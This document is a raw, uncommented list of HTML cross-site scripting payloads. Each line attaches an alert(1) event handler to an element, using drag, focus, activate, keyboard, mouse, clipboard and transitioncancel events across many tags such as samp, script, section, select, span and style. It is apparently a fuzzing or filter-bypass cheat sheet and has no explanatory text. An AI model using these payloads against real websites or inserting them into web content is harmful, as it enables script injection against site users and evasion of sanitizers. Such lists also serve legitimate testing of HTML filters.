<samp onmouseout="alert(1)">test</samp>
<samp onmouseover="alert(1)">test</samp>
<samp onmouseup="alert(1)">test</samp>
<script draggable="true" ondrag="alert(1)">test</script>
<script draggable="true" ondragend="alert(1)">test</script>
<script draggable="true" ondragenter="alert(1)">test</script>
<script draggable="true" ondragleave="alert(1)">test</script>
<script draggable="true" ondragstart="alert(1)">test</script>
<script id=x tabindex=1 onactivate=alert(1)></script>
<script id=x tabindex=1 onbeforeactivate=alert(1)></script>
<script id=x tabindex=1 onbeforedeactivate=alert(1)></script><input autofocus>
<script id=x tabindex=1 ondeactivate=alert(1)></script><input id=y autofocus>
<script onbeforepaste="alert(1)" contenteditable>test</script>
<script onblur=alert(1) tabindex=1 id=x></script><input autofocus>
<script onclick="alert(1)">test</script>
<script oncontextmenu="alert(1)">test</script>
<script oncopy="alert(1)" contenteditable>test</script>
<script oncut="alert(1)" contenteditable>test</script>
<script ondblclick="alert(1)">test</script>
<script onfocusout=alert(1) tabindex=1 id=x></script><input autofocus>
<script onkeydown="alert(1)" contenteditable>test</script>
<script onkeypress="alert(1)" contenteditable>test</script>
<script onkeyup="alert(1)" contenteditable>test</script>
<script onmousedown="alert(1)">test</script>
<script onmouseenter="alert(1)">test</script>
<script onmouseleave="alert(1)">test</script>
<script onmousemove="alert(1)">test</script>
<script onmouseout="alert(1)">test</script>
<script onmouseover="alert(1)">test</script>
<script onmouseup="alert(1)">test</script>
<script onreadystatechange=alert(1)></script>
<section draggable="true" ondrag="alert(1)">test</section>
<section draggable="true" ondragend="alert(1)">test</section>
<section draggable="true" ondragenter="alert(1)">test</section>
<section draggable="true" ondragleave="alert(1)">test</section>
<section draggable="true" ondragstart="alert(1)">test</section>
<section id=x tabindex=1 onactivate=alert(1)></section>
<section id=x tabindex=1 onbeforeactivate=alert(1)></section>
<section id=x tabindex=1 onbeforedeactivate=alert(1)></section><input autofocus>
<section id=x tabindex=1 ondeactivate=alert(1)></section><input id=y autofocus>
<section onbeforepaste="alert(1)" contenteditable>test</section>
<section onblur=alert(1) tabindex=1 id=x></section><input autofocus>
<section onclick="alert(1)">test</section>
<section oncontextmenu="alert(1)">test</section>
<section oncopy="alert(1)" contenteditable>test</section>
<section oncut="alert(1)" contenteditable>test</section>
<section ondblclick="alert(1)">test</section>
<section onfocusout=alert(1) tabindex=1 id=x></section><input autofocus>
<section onkeydown="alert(1)" contenteditable>test</section>
<section onkeypress="alert(1)" contenteditable>test</section>
<section onkeyup="alert(1)" contenteditable>test</section>
<section onmousedown="alert(1)">test</section>
<section onmouseenter="alert(1)">test</section>
<section onmouseleave="alert(1)">test</section>
<section onmousemove="alert(1)">test</section>
<section onmouseout="alert(1)">test</section>
<section onmouseover="alert(1)">test</section>
<section onmouseup="alert(1)">test</section>
<select draggable="true" ondrag="alert(1)">test</select>
<select draggable="true" ondragend="alert(1)">test</select>
<select draggable="true" ondragenter="alert(1)">test</select>
<select draggable="true" ondragleave="alert(1)">test</select>
<select draggable="true" ondragstart="alert(1)">test</select>
<select id=x tabindex=1 onactivate=alert(1)></select>
<select id=x tabindex=1 onbeforeactivate=alert(1)></select>
<select id=x tabindex=1 onbeforedeactivate=alert(1)></select><input autofocus>
<select id=x tabindex=1 ondeactivate=alert(1)></select><input id=y autofocus>
<select onbeforepaste="alert(1)" contenteditable>test</select>
<select onblur=alert(1) id=x></select><input autofocus>
<select onclick="alert(1)">test</select>
<select oncontextmenu="alert(1)">test</select>
<select oncopy="alert(1)" contenteditable>test</select>
<select oncut="alert(1)" contenteditable>test</select>
<select ondblclick="alert(1)">test</select>
<select onfocusout=alert(1) id=x></select><input autofocus>
<select onkeydown="alert(1)" contenteditable>test</select>
<select onkeypress="alert(1)" contenteditable>test</select>
<select onkeyup="alert(1)" contenteditable>test</select>
<select onmousedown="alert(1)">test</select>
<select onmouseenter="alert(1)">test</select>
<select onmouseleave="alert(1)">test</select>
<select onmousemove="alert(1)">test</select>
<select onmouseout="alert(1)">test</select>
<select onmouseover="alert(1)">test</select>
<select onmouseup="alert(1)">test</select>
<shadow draggable="true" ondrag="alert(1)">test</shadow>
<shadow draggable="true" ondragend="alert(1)">test</shadow>
<shadow draggable="true" ondragenter="alert(1)">test</shadow>
<shadow draggable="true" ondragleave="alert(1)">test</shadow>
<shadow draggable="true" ondragstart="alert(1)">test</shadow>
<shadow id=x tabindex=1 onactivate=alert(1)></shadow>
<shadow id=x tabindex=1 onbeforeactivate=alert(1)></shadow>
<shadow id=x tabindex=1 onbeforedeactivate=alert(1)></shadow><input autofocus>
<shadow id=x tabindex=1 ondeactivate=alert(1)></shadow><input id=y autofocus>
<shadow onbeforepaste="alert(1)" contenteditable>test</shadow>
<shadow onblur=alert(1) tabindex=1 id=x></shadow><input autofocus>
<shadow onclick="alert(1)">test</shadow>
<shadow oncontextmenu="alert(1)">test</shadow>
<shadow oncopy="alert(1)" contenteditable>test</shadow>
<shadow oncut="alert(1)" contenteditable>test</shadow>
<shadow ondblclick="alert(1)">test</shadow>
<shadow onfocusout=alert(1) tabindex=1 id=x></shadow><input autofocus>
<shadow onkeydown="alert(1)" contenteditable>test</shadow>
<shadow onkeypress="alert(1)" contenteditable>test</shadow>
<shadow onkeyup="alert(1)" contenteditable>test</shadow>
<shadow onmousedown="alert(1)">test</shadow>
<shadow onmouseenter="alert(1)">test</shadow>
<shadow onmouseleave="alert(1)">test</shadow>
<shadow onmousemove="alert(1)">test</shadow>
<shadow onmouseout="alert(1)">test</shadow>
<shadow onmouseover="alert(1)">test</shadow>
<shadow onmouseup="alert(1)">test</shadow>
<slot draggable="true" ondrag="alert(1)">test</slot>
<slot draggable="true" ondragend="alert(1)">test</slot>
<slot draggable="true" ondragenter="alert(1)">test</slot>
<slot draggable="true" ondragleave="alert(1)">test</slot>
<slot draggable="true" ondragstart="alert(1)">test</slot>
<slot id=x tabindex=1 onactivate=alert(1)></slot>
<slot id=x tabindex=1 onbeforeactivate=alert(1)></slot>
<slot id=x tabindex=1 onbeforedeactivate=alert(1)></slot><input autofocus>
<slot id=x tabindex=1 ondeactivate=alert(1)></slot><input id=y autofocus>
<slot onbeforepaste="alert(1)" contenteditable>test</slot>
<slot onblur=alert(1) tabindex=1 id=x></slot><input autofocus>
<slot onclick="alert(1)">test</slot>
<slot oncontextmenu="alert(1)">test</slot>
<slot oncopy="alert(1)" contenteditable>test</slot>
<slot oncut="alert(1)" contenteditable>test</slot>
<slot ondblclick="alert(1)">test</slot>
<slot onfocusout=alert(1) tabindex=1 id=x></slot><input autofocus>
<slot onkeydown="alert(1)" contenteditable>test</slot>
<slot onkeypress="alert(1)" contenteditable>test</slot>
<slot onkeyup="alert(1)" contenteditable>test</slot>
<slot onmousedown="alert(1)">test</slot>
<slot onmouseenter="alert(1)">test</slot>
<slot onmouseleave="alert(1)">test</slot>
<slot onmousemove="alert(1)">test</slot>
<slot onmouseout="alert(1)">test</slot>
<slot onmouseover="alert(1)">test</slot>
<slot onmouseup="alert(1)">test</slot>
<small draggable="true" ondrag="alert(1)">test</small>
<small draggable="true" ondragend="alert(1)">test</small>
<small draggable="true" ondragenter="alert(1)">test</small>
<small draggable="true" ondragleave="alert(1)">test</small>
<small draggable="true" ondragstart="alert(1)">test</small>
<small id=x tabindex=1 onactivate=alert(1)></small>
<small id=x tabindex=1 onbeforeactivate=alert(1)></small>
<small id=x tabindex=1 onbeforedeactivate=alert(1)></small><input autofocus>
<small id=x tabindex=1 ondeactivate=alert(1)></small><input id=y autofocus>
<small onbeforepaste="alert(1)" contenteditable>test</small>
<small onblur=alert(1) tabindex=1 id=x></small><input autofocus>
<small onclick="alert(1)">test</small>
<small oncontextmenu="alert(1)">test</small>
<small oncopy="alert(1)" contenteditable>test</small>
<small oncut="alert(1)" contenteditable>test</small>
<small ondblclick="alert(1)">test</small>
<small onfocusout=alert(1) tabindex=1 id=x></small><input autofocus>
<small onkeydown="alert(1)" contenteditable>test</small>
<small onkeypress="alert(1)" contenteditable>test</small>
<small onkeyup="alert(1)" contenteditable>test</small>
<small onmousedown="alert(1)">test</small>
<small onmouseenter="alert(1)">test</small>
<small onmouseleave="alert(1)">test</small>
<small onmousemove="alert(1)">test</small>
<small onmouseout="alert(1)">test</small>
<small onmouseover="alert(1)">test</small>
<small onmouseup="alert(1)">test</small>
<source draggable="true" ondrag="alert(1)">test</source>
<source draggable="true" ondragend="alert(1)">test</source>
<source draggable="true" ondragenter="alert(1)">test</source>
<source draggable="true" ondragleave="alert(1)">test</source>
<source draggable="true" ondragstart="alert(1)">test</source>
<source id=x tabindex=1 onactivate=alert(1)></source>
<source id=x tabindex=1 onbeforeactivate=alert(1)></source>
<source id=x tabindex=1 onbeforedeactivate=alert(1)></source><input autofocus>
<source id=x tabindex=1 ondeactivate=alert(1)></source><input id=y autofocus>
<source onbeforepaste="alert(1)" contenteditable>test</source>
<source onblur=alert(1) tabindex=1 id=x></source><input autofocus>
<source onclick="alert(1)">test</source>
<source oncontextmenu="alert(1)">test</source>
<source oncopy="alert(1)" contenteditable>test</source>
<source oncut="alert(1)" contenteditable>test</source>
<source ondblclick="alert(1)">test</source>
<source onfocusout=alert(1) tabindex=1 id=x></source><input autofocus>
<source onkeydown="alert(1)" contenteditable>test</source>
<source onkeypress="alert(1)" contenteditable>test</source>
<source onkeyup="alert(1)" contenteditable>test</source>
<source onmousedown="alert(1)">test</source>
<source onmouseenter="alert(1)">test</source>
<source onmouseleave="alert(1)">test</source>
<source onmousemove="alert(1)">test</source>
<source onmouseout="alert(1)">test</source>
<source onmouseover="alert(1)">test</source>
<source onmouseup="alert(1)">test</source>
<spacer draggable="true" ondrag="alert(1)">test</spacer>
<spacer draggable="true" ondragend="alert(1)">test</spacer>
<spacer draggable="true" ondragenter="alert(1)">test</spacer>
<spacer draggable="true" ondragleave="alert(1)">test</spacer>
<spacer draggable="true" ondragstart="alert(1)">test</spacer>
<spacer id=x tabindex=1 onactivate=alert(1)></spacer>
<spacer id=x tabindex=1 onbeforeactivate=alert(1)></spacer>
<spacer id=x tabindex=1 onbeforedeactivate=alert(1)></spacer><input autofocus>
<spacer id=x tabindex=1 ondeactivate=alert(1)></spacer><input id=y autofocus>
<spacer onbeforepaste="alert(1)" contenteditable>test</spacer>
<spacer onblur=alert(1) tabindex=1 id=x></spacer><input autofocus>
<spacer onclick="alert(1)">test</spacer>
<spacer oncontextmenu="alert(1)">test</spacer>
<spacer oncopy="alert(1)" contenteditable>test</spacer>
<spacer oncut="alert(1)" contenteditable>test</spacer>
<spacer ondblclick="alert(1)">test</spacer>
<spacer onfocusout=alert(1) tabindex=1 id=x></spacer><input autofocus>
<spacer onkeydown="alert(1)" contenteditable>test</spacer>
<spacer onkeypress="alert(1)" contenteditable>test</spacer>
<spacer onkeyup="alert(1)" contenteditable>test</spacer>
<spacer onmousedown="alert(1)">test</spacer>
<spacer onmouseenter="alert(1)">test</spacer>
<spacer onmouseleave="alert(1)">test</spacer>
<spacer onmousemove="alert(1)">test</spacer>
<spacer onmouseout="alert(1)">test</spacer>
<spacer onmouseover="alert(1)">test</spacer>
<spacer onmouseup="alert(1)">test</spacer>
<span draggable="true" ondrag="alert(1)">test</span>
<span draggable="true" ondragend="alert(1)">test</span>
<span draggable="true" ondragenter="alert(1)">test</span>
<span draggable="true" ondragleave="alert(1)">test</span>
<span draggable="true" ondragstart="alert(1)">test</span>
<span id=x tabindex=1 onactivate=alert(1)></span>
<span id=x tabindex=1 onbeforeactivate=alert(1)></span>
<span id=x tabindex=1 onbeforedeactivate=alert(1)></span><input autofocus>
<span id=x tabindex=1 ondeactivate=alert(1)></span><input id=y autofocus>
<span onbeforepaste="alert(1)" contenteditable>test</span>
<span onblur=alert(1) tabindex=1 id=x></span><input autofocus>
<span onclick="alert(1)">test</span>
<span oncontextmenu="alert(1)">test</span>
<span oncopy="alert(1)" contenteditable>test</span>
<span oncut="alert(1)" contenteditable>test</span>
<span ondblclick="alert(1)">test</span>
<span onfocusout=alert(1) tabindex=1 id=x></span><input autofocus>
<span onkeydown="alert(1)" contenteditable>test</span>
<span onkeypress="alert(1)" contenteditable>test</span>
<span onkeyup="alert(1)" contenteditable>test</span>
<span onmousedown="alert(1)">test</span>
<span onmouseenter="alert(1)">test</span>
<span onmouseleave="alert(1)">test</span>
<span onmousemove="alert(1)">test</span>
<span onmouseout="alert(1)">test</span>
<span onmouseover="alert(1)">test</span>
<span onmouseup="alert(1)">test</span>
<strike draggable="true" ondrag="alert(1)">test</strike>
<strike draggable="true" ondragend="alert(1)">test</strike>
<strike draggable="true" ondragenter="alert(1)">test</strike>
<strike draggable="true" ondragleave="alert(1)">test</strike>
<strike draggable="true" ondragstart="alert(1)">test</strike>
<strike id=x tabindex=1 onactivate=alert(1)></strike>
<strike id=x tabindex=1 onbeforeactivate=alert(1)></strike>
<strike id=x tabindex=1 onbeforedeactivate=alert(1)></strike><input autofocus>
<strike id=x tabindex=1 ondeactivate=alert(1)></strike><input id=y autofocus>
<strike onbeforepaste="alert(1)" contenteditable>test</strike>
<strike onblur=alert(1) tabindex=1 id=x></strike><input autofocus>
<strike onclick="alert(1)">test</strike>
<strike oncontextmenu="alert(1)">test</strike>
<strike oncopy="alert(1)" contenteditable>test</strike>
<strike oncut="alert(1)" contenteditable>test</strike>
<strike ondblclick="alert(1)">test</strike>
<strike onfocusout=alert(1) tabindex=1 id=x></strike><input autofocus>
<strike onkeydown="alert(1)" contenteditable>test</strike>
<strike onkeypress="alert(1)" contenteditable>test</strike>
<strike onkeyup="alert(1)" contenteditable>test</strike>
<strike onmousedown="alert(1)">test</strike>
<strike onmouseenter="alert(1)">test</strike>
<strike onmouseleave="alert(1)">test</strike>
<strike onmousemove="alert(1)">test</strike>
<strike onmouseout="alert(1)">test</strike>
<strike onmouseover="alert(1)">test</strike>
<strike onmouseup="alert(1)">test</strike>
<strong draggable="true" ondrag="alert(1)">test</strong>
<strong draggable="true" ondragend="alert(1)">test</strong>
<strong draggable="true" ondragenter="alert(1)">test</strong>
<strong draggable="true" ondragleave="alert(1)">test</strong>
<strong draggable="true" ondragstart="alert(1)">test</strong>
<strong id=x tabindex=1 onactivate=alert(1)></strong>
<strong id=x tabindex=1 onbeforeactivate=alert(1)></strong>
<strong id=x tabindex=1 onbeforedeactivate=alert(1)></strong><input autofocus>
<strong id=x tabindex=1 ondeactivate=alert(1)></strong><input id=y autofocus>
<strong onbeforepaste="alert(1)" contenteditable>test</strong>
<strong onblur=alert(1) tabindex=1 id=x></strong><input autofocus>
<strong onclick="alert(1)">test</strong>
<strong oncontextmenu="alert(1)">test</strong>
<strong oncopy="alert(1)" contenteditable>test</strong>
<strong oncut="alert(1)" contenteditable>test</strong>
<strong ondblclick="alert(1)">test</strong>
<strong onfocusout=alert(1) tabindex=1 id=x></strong><input autofocus>
<strong onkeydown="alert(1)" contenteditable>test</strong>
<strong onkeypress="alert(1)" contenteditable>test</strong>
<strong onkeyup="alert(1)" contenteditable>test</strong>
<strong onmousedown="alert(1)">test</strong>
<strong onmouseenter="alert(1)">test</strong>
<strong onmouseleave="alert(1)">test</strong>
<strong onmousemove="alert(1)">test</strong>
<strong onmouseout="alert(1)">test</strong>
<strong onmouseover="alert(1)">test</strong>
<strong onmouseup="alert(1)">test</strong>
<style draggable="true" ondrag="alert(1)">test</style>
<style draggable="true" ondragend="alert(1)">test</style>
<style draggable="true" ondragenter="alert(1)">test</style>
<style draggable="true" ondragleave="alert(1)">test</style>
<style draggable="true" ondragstart="alert(1)">test</style>
<style id=x tabindex=1 onactivate=alert(1)></style>
<style id=x tabindex=1 onbeforeactivate=alert(1)></style>
<style id=x tabindex=1 onbeforedeactivate=alert(1)></style><input autofocus>
<style id=x tabindex=1 ondeactivate=alert(1)></style><input id=y autofocus>
<style id=x tabindex=1 onfocus=alert(1)></style>
<style id=x tabindex=1 onfocusin=alert(1)></style>
<style onbeforecopy="alert(1)" contenteditable>test</style>
<style onbeforecut="alert(1)" contenteditable>test</style>
<style onbeforepaste="alert(1)" contenteditable>test</style>
<style onblur=alert(1) tabindex=1 id=x></style><input autofocus>
<style onclick="alert(1)">test</style>
<style oncontextmenu="alert(1)">test</style>
<style oncopy="alert(1)" contenteditable>test</style>
<style oncut="alert(1)" contenteditable>test</style>
<style ondblclick="alert(1)">test</style>
<style onfocusout=alert(1) tabindex=1 id=x></style><input autofocus>
<style onkeydown="alert(1)" contenteditable>test</style>
<style onkeypress="alert(1)" contenteditable>test</style>
<style onkeyup="alert(1)" contenteditable>test</style>
<style onmousedown="alert(1)">test</style>
<style onmouseenter="alert(1)">test</style>
<style onmouseleave="alert(1)">test</style>
<style onmousemove="alert(1)">test</style>
<style onmouseout="alert(1)">test</style>
<style onmouseover="alert(1)">test</style>
<style onmouseup="alert(1)">test</style>
<style onpaste="alert(1)" contenteditable>test</style>
<style onreadystatechange=alert(1)></style>
<style>:target {color: red;}</style><a id=x style="transition:color 10s" ontransitioncancel=alert(1)></a>
<style>:target {color: red;}</style><abbr id=x style="transition:color 10s" ontransitioncancel=alert(1)></abbr>
<style>:target {color: red;}</style><acronym id=x style="transition:color 10s" ontransitioncancel=alert(1)></acronym>
<style>:target {color: red;}</style><address id=x style="transition:color 10s" ontransitioncancel=alert(1)></address>
<style>:target {color: red;}</style><applet id=x style="transition:color 10s" ontransitioncancel=alert(1)></applet>
<style>:target {color: red;}</style><area id=x style="transition:color 10s" ontransitioncancel=alert(1)></area>
<style>:target {color: red;}</style><article id=x style="transition:color 10s" ontransitioncancel=alert(1)></article>
<style>:target {color: red;}</style><aside id=x style="transition:color 10s" ontransitioncancel=alert(1)></aside>
<style>:target {color: red;}</style><audio id=x style="transition:color 10s" ontransitioncancel=alert(1)></audio>
<style>:target {color: red;}</style><b id=x style="transition:color 10s" ontransitioncancel=alert(1)></b>
<style>:target {color: red;}</style><base id=x style="transition:color 10s" ontransitioncancel=alert(1)></base>
<style>:target {color: red;}</style><basefont id=x style="transition:color 10s" ontransitioncancel=alert(1)></basefont>
<style>:target {color: red;}</style><bdi id=x style="transition:color 10s" ontransitioncancel=alert(1)></bdi>
<style>:target {color: red;}</style><bdo id=x style="transition:color 10s" ontransitioncancel=alert(1)></bdo>
<style>:target {color: red;}</style><bgsound id=x style="transition:color 10s" ontransitioncancel=alert(1)></bgsound>
<style>:target {color: red;}</style><big id=x style="transition:color 10s" ontransitioncancel=alert(1)></big>
<style>:target {color: red;}</style><blink id=x style="transition:color 10s" ontransitioncancel=alert(1)></blink>
<style>:target {color: red;}</style><blockquote id=x style="transition:color 10s" ontransitioncancel=alert(1)></blockquote>
<style>:target {color: red;}</style><body id=x style="transition:color 10s" ontransitioncancel=alert(1)></body>
<style>:target {color: red;}</style><br id=x style="transition:color 10s" ontransitioncancel=alert(1)></br>
<style>:target {color: red;}</style><button id=x style="transition:color 10s" ontransitioncancel=alert(1)></button>
<style>:target {color: red;}</style><canvas id=x style="transition:color 10s" ontransitioncancel=alert(1)></canvas>
<style>:target {color: red;}</style><caption id=x style="transition:color 10s" ontransitioncancel=alert(1)></caption>
<style>:target {color: red;}</style><center id=x style="transition:color 10s" ontransitioncancel=alert(1)></center>
<style>:target {color: red;}</style><cite id=x style="transition:color 10s" ontransitioncancel=alert(1)></cite>
<style>:target {color: red;}</style><code id=x style="transition:color 10s" ontransitioncancel=alert(1)></code>
<style>:target {color: red;}</style><col id=x style="transition:color 10s" ontransitioncancel=alert(1)></col>
<style>:target {color: red;}</style><colgroup id=x style="transition:color 10s" ontransitioncancel=alert(1)></colgroup>
<style>:target {color: red;}</style><command id=x style="transition:color 10s" ontransitioncancel=alert(1)></command>
<style>:target {color: red;}</style><content id=x style="transition:color 10s" ontransitioncancel=alert(1)></content>
<style>:target {color: red;}</style><data id=x style="transition:color 10s" ontransitioncancel=alert(1)></data>
<style>:target {color: red;}</style><datalist id=x style="transition:color 10s" ontransitioncancel=alert(1)></datalist>
<style>:target {color: red;}</style><dd id=x style="transition:color 10s" ontransitioncancel=alert(1)></dd>
<style>:target {color: red;}</style><del id=x style="transition:color 10s" ontransitioncancel=alert(1)></del>
<style>:target {color: red;}</style><details id=x style="transition:color 10s" ontransitioncancel=alert(1)></details>
<style>:target {color: red;}</style><dfn id=x style="transition:color 10s" ontransitioncancel=alert(1)></dfn>
<style>:target {color: red;}</style><dialog id=x style="transition:color 10s" ontransitioncancel=alert(1)></dialog>
<style>:target {color: red;}</style><dir id=x style="transition:color 10s" ontransitioncancel=alert(1)></dir>
<style>:target {color: red;}</style><div id=x style="transition:color 10s" ontransitioncancel=alert(1)></div>
<style>:target {color: red;}</style><dl id=x style="transition:color 10s" ontransitioncancel=alert(1)></dl>
<style>:target {color: red;}</style><dt id=x style="transition:color 10s" ontransitioncancel=alert(1)></dt>
<style>:target {color: red;}</style><element id=x style="transition:color 10s" ontransitioncancel=alert(1)></element>
<style>:target {color: red;}</style><em id=x style="transition:color 10s" ontransitioncancel=alert(1)></em>
<style>:target {color: red;}</style><embed id=x style="transition:color 10s" ontransitioncancel=alert(1)></embed>
<style>:target {color: red;}</style><fieldset id=x style="transition:color 10s" ontransitioncancel=alert(1)></fieldset>
<style>:target {color: red;}</style><figcaption id=x style="transition:color 10s" ontransitioncancel=alert(1)></figcaption>
<style>:target {color: red;}</style><figure id=x style="transition:color 10s" ontransitioncancel=alert(1)></figure>
<style>:target {color: red;}</style><font id=x style="transition:color 10s" ontransitioncancel=alert(1)></font>
<style>:target {color: red;}</style><footer id=x style="transition:color 10s" ontransitioncancel=alert(1)></footer>
<style>:target {color: red;}</style><form id=x style="transition:color 10s" ontransitioncancel=alert(1)></form>
<style>:target {color: red;}</style><frame id=x style="transition:color 10s" ontransitioncancel=alert(1)></frame>
<style>:target {color: red;}</style><frameset id=x style="transition:color 10s" ontransitioncancel=alert(1)></frameset>
<style>:target {color: red;}</style><h1 id=x style="transition:color 10s" ontransitioncancel=alert(1)></h1>
<style>:target {color: red;}</style><head id=x style="transition:color 10s" ontransitioncancel=alert(1)></head>
<style>:target {color: red;}</style><header id=x style="transition:color 10s" ontransitioncancel=alert(1)></header>
<style>:target {color: red;}</style><hgroup id=x style="transition:color 10s" ontransitioncancel=alert(1)></hgroup>
<style>:target {color: red;}</style><hr id=x style="transition:color 10s" ontransitioncancel=alert(1)></hr>
<style>:target {color: red;}</style><html id=x style="transition:color 10s" ontransitioncancel=alert(1)></html>
<style>:target {color: red;}</style><i id=x style="transition:color 10s" ontransitioncancel=alert(1)></i>
<style>:target {color: red;}</style><iframe id=x style="transition:color 10s" ontransitioncancel=alert(1)></iframe>
<style>:target {color: red;}</style><image id=x style="transition:color 10s" ontransitioncancel=alert(1)></image>
<style>:target {color: red;}</style><img id=x style="transition:color 10s" ontransitioncancel=alert(1)></img>
<style>:target {color: red;}</style><input id=x style="transition:color 10s" ontransitioncancel=alert(1)></input>
<style>:target {color: red;}</style><ins id=x style="transition:color 10s" ontransitioncancel=alert(1)></ins>
<style>:target {color: red;}</style><isindex id=x style="transition:color 10s" ontransitioncancel=alert(1)></isindex>
<style>:target {color: red;}</style><kbd id=x style="transition:color 10s" ontransitioncancel=alert(1)></kbd>
<style>:target {color: red;}</style><keygen id=x style="transition:color 10s" ontransitioncancel=alert(1)></keygen>
<style>:target {color: red;}</style><label id=x style="transition:color 10s" ontransitioncancel=alert(1)></label>
<style>:target {color: red;}</style><legend id=x style="transition:color 10s" ontransitioncancel=alert(1)></legend>
<style>:target {color: red;}</style><li id=x style="transition:color 10s" ontransitioncancel=alert(1)></li>
<style>:target {color: red;}</style><link id=x style="transition:color 10s" ontransitioncancel=alert(1)></link>
<style>:target {color: red;}</style><listing id=x style="transition:color 10s" ontransitioncancel=alert(1)></listing>
<style>:target {color: red;}</style><main id=x style="transition:color 10s" ontransitioncancel=alert(1)></main>
<style>:target {color: red;}</style><map id=x style="transition:color 10s" ontransitioncancel=alert(1)></map>
<style>:target {color: red;}</style><mark id=x style="transition:color 10s" ontransitioncancel=alert(1)></mark>
<style>:target {color: red;}</style><marquee id=x style="transition:color 10s" ontransitioncancel=alert(1)></marquee>
<style>:target {color: red;}</style><menu id=x style="transition:color 10s" ontransitioncancel=alert(1)></menu>
<style>:target {color: red;}</style><menuitem id=x style="transition:color 10s" ontransitioncancel=alert(1)></menuitem>
<style>:target {color: red;}</style><meta id=x style="transition:color 10s" ontransitioncancel=alert(1)></meta>
<style>:target {color: red;}</style><meter id=x style="transition:color 10s" ontransitioncancel=alert(1)></meter>
<style>:target {color: red;}</style><multicol id=x style="transition:color 10s" ontransitioncancel=alert(1)></multicol>
<style>:target {color: red;}</style><nav id=x style="transition:color 10s" ontransitioncancel=alert(1)></nav>
<style>:target {color: red;}</style><nextid id=x style="transition:color 10s" ontransitioncancel=alert(1)></nextid>
<style>:target {color: red;}</style><nobr id=x style="transition:color 10s" ontransitioncancel=alert(1)></nobr>
<style>:target {color: red;}</style><noembed id=x style="transition:color 10s" ontransitioncancel=alert(1)></noembed>
<style>:target {color: red;}</style><noframes id=x style="transition:color 10s" ontransitioncancel=alert(1)></noframes>
<style>:target {color: red;}</style><noscript id=x style="transition:color 10s" ontransitioncancel=alert(1)></noscript>
<style>:target {color: red;}</style><object id=x style="transition:color 10s" ontransitioncancel=alert(1)></object>
<style>:target {color: red;}</style><ol id=x style="transition:color 10s" ontransitioncancel=alert(1)></ol>
<style>:target {color: red;}</style><optgroup id=x style="transition:color 10s" ontransitioncancel=alert(1)></optgroup>
<style>:target {color: red;}</style><option id=x style="transition:color 10s" ontransitioncancel=alert(1)></option>
<style>:target {color: red;}</style><output id=x style="transition:color 10s" ontransitioncancel=alert(1)></output>
<style>:target {color: red;}</style><p id=x style="transition:color 10s" ontransitioncancel=alert(1)></p>
<style>:target {color: red;}</style><param id=x style="transition:color 10s" ontransitioncancel=alert(1)></param>
<style>:target {color: red;}</style><picture id=x style="transition:color 10s" ontransitioncancel=alert(1)></picture>
<style>:target {color: red;}</style><plaintext id=x style="transition:color 10s" ontransitioncancel=alert(1)></plaintext>
<style>:target {color: red;}</style><pre id=x style="transition:color 10s" ontransitioncancel=alert(1)></pre>
<style>:target {color: red;}</style><progress id=x style="transition:color 10s" ontransitioncancel=alert(1)></progress>
<style>:target {color: red;}</style><q id=x style="transition:color 10s" ontransitioncancel=alert(1)></q>
<style>:target {color: red;}</style><rb id=x style="transition:color 10s" ontransitioncancel=alert(1)></rb>
<style>:target {color: red;}</style><rp id=x style="transition:color 10s" ontransitioncancel=alert(1)></rp>
<style>:target {color: red;}</style><rt id=x style="transition:color 10s" ontransitioncancel=alert(1)></rt>
<style>:target {color: red;}</style><rtc id=x style="transition:color 10s" ontransitioncancel=alert(1)></rtc>
<style>:target {color: red;}</style><ruby id=x style="transition:color 10s" ontransitioncancel=alert(1)></ruby>
<style>:target {color: red;}</style><s id=x style="transition:color 10s" ontransitioncancel=alert(1)></s>
<style>:target {color: red;}</style><samp id=x style="transition:color 10s" ontransitioncancel=alert(1)></samp>
<style>:target {color: red;}</style><script id=x style="transition:color 10s" ontransitioncancel=alert(1)></script>
<style>:target {color: red;}</style><section id=x style="transition:color 10s" ontransitioncancel=alert(1)></section>
<style>:target {color: red;}</style><select id=x style="transition:color 10s" ontransitioncancel=alert(1)></select>
<style>:target {color: red;}</style><shadow id=x style="transition:color 10s" ontransitioncancel=alert(1)></shadow>
<style>:target {color: red;}</style><slot id=x style="transition:color 10s" ontransitioncancel=alert(1)></slot>
<style>:target {color: red;}</style><small id=x style="transition:color 10s" ontransitioncancel=alert(1)></small>
<style>:target {color: red;}</style><source id=x style="transition:color 10s" ontransitioncancel=alert(1)></source>
<style>:target {color: red;}</style><spacer id=x style="transition:color 10s" ontransitioncancel=alert(1)></spacer>
<style>:target {color: red;}</style><span id=x style="transition:color 10s" ontransitioncancel=alert(1)></span>
<style>:target {color: red;}</style><strike id=x style="transition:color 10s" ontransitioncancel=alert(1)></strike>
<style>:target {color: red;}</style><strong id=x style="transition:color 10s" ontransitioncancel=alert(1)></strong>
<style>:target {color: red;}</style><style id=x style="transition:color 10s" ontransitioncancel=alert(1)></style>
<style>:target {color: red;}</style><sub id=x style="transition:color 10s" ontransitioncancel=alert(1)></sub>
<style>:target {color: red;}</style><summary id=x style="transition:color 10s" ontransitioncancel=alert(1)></summary>
<style>:target {color: red;}</style><sup id=x style="transition:color 10s" ontransitioncancel=alert(1)></sup>
<style>:target {color: red;}</style><svg id=x style="transition:color 10s" ontransitioncancel=alert(1)></svg>
<style>:target {color: red;}</style><table id=x style="transition:color 10s" ontransitioncancel=alert(1)></table>
<style>:target {color: red;}</style><tbody id=x style="transition:color 10s" ontransitioncancel=alert(1)></tbody>
<style>:target {color: red;}</style><td id=x style="transition:color 10s" ontransitioncancel=alert(1)></td>
<style>:target {color: red;}</style><template id=x style="transition:color 10s" ontransitioncancel=alert(1)></template>
<style>:target {color: red;}</style><textarea id=x style="transition:color 10s" ontransitioncancel=alert(1)></textarea>
<style>:target {color: red;}</style><tfoot id=x style="transition:color 10s" ontransitioncancel=alert(1)></tfoot>
<style>:target {color: red;}</style><th id=x style="transition:color 10s" ontransitioncancel=alert(1)></th>
<style>:target {color: red;}</style><thead id=x style="transition:color 10s" ontransitioncancel=alert(1)></thead>
<style>:target {color: red;}</style><time id=x style="transition:color 10s" ontransitioncancel=alert(1)></time>
<style>:target {color: red;}</style><title id=x style="transition:color 10s" ontransitioncancel=alert(1)></title>
<style>:target {color: red;}</style><tr id=x style="transition:color 10s" ontransitioncancel=alert(1)></tr>
<style>:target {color: red;}</style><track id=x style="transition:color 10s" ontransitioncancel=alert(1)></track>
<style>:target {color: red;}</style><tt id=x style="transition:color 10s" ontransitioncancel=alert(1)></tt>
<style>:target {color: red;}</style><u id=x style="transition:color 10s" ontransitioncancel=alert(1)></u>
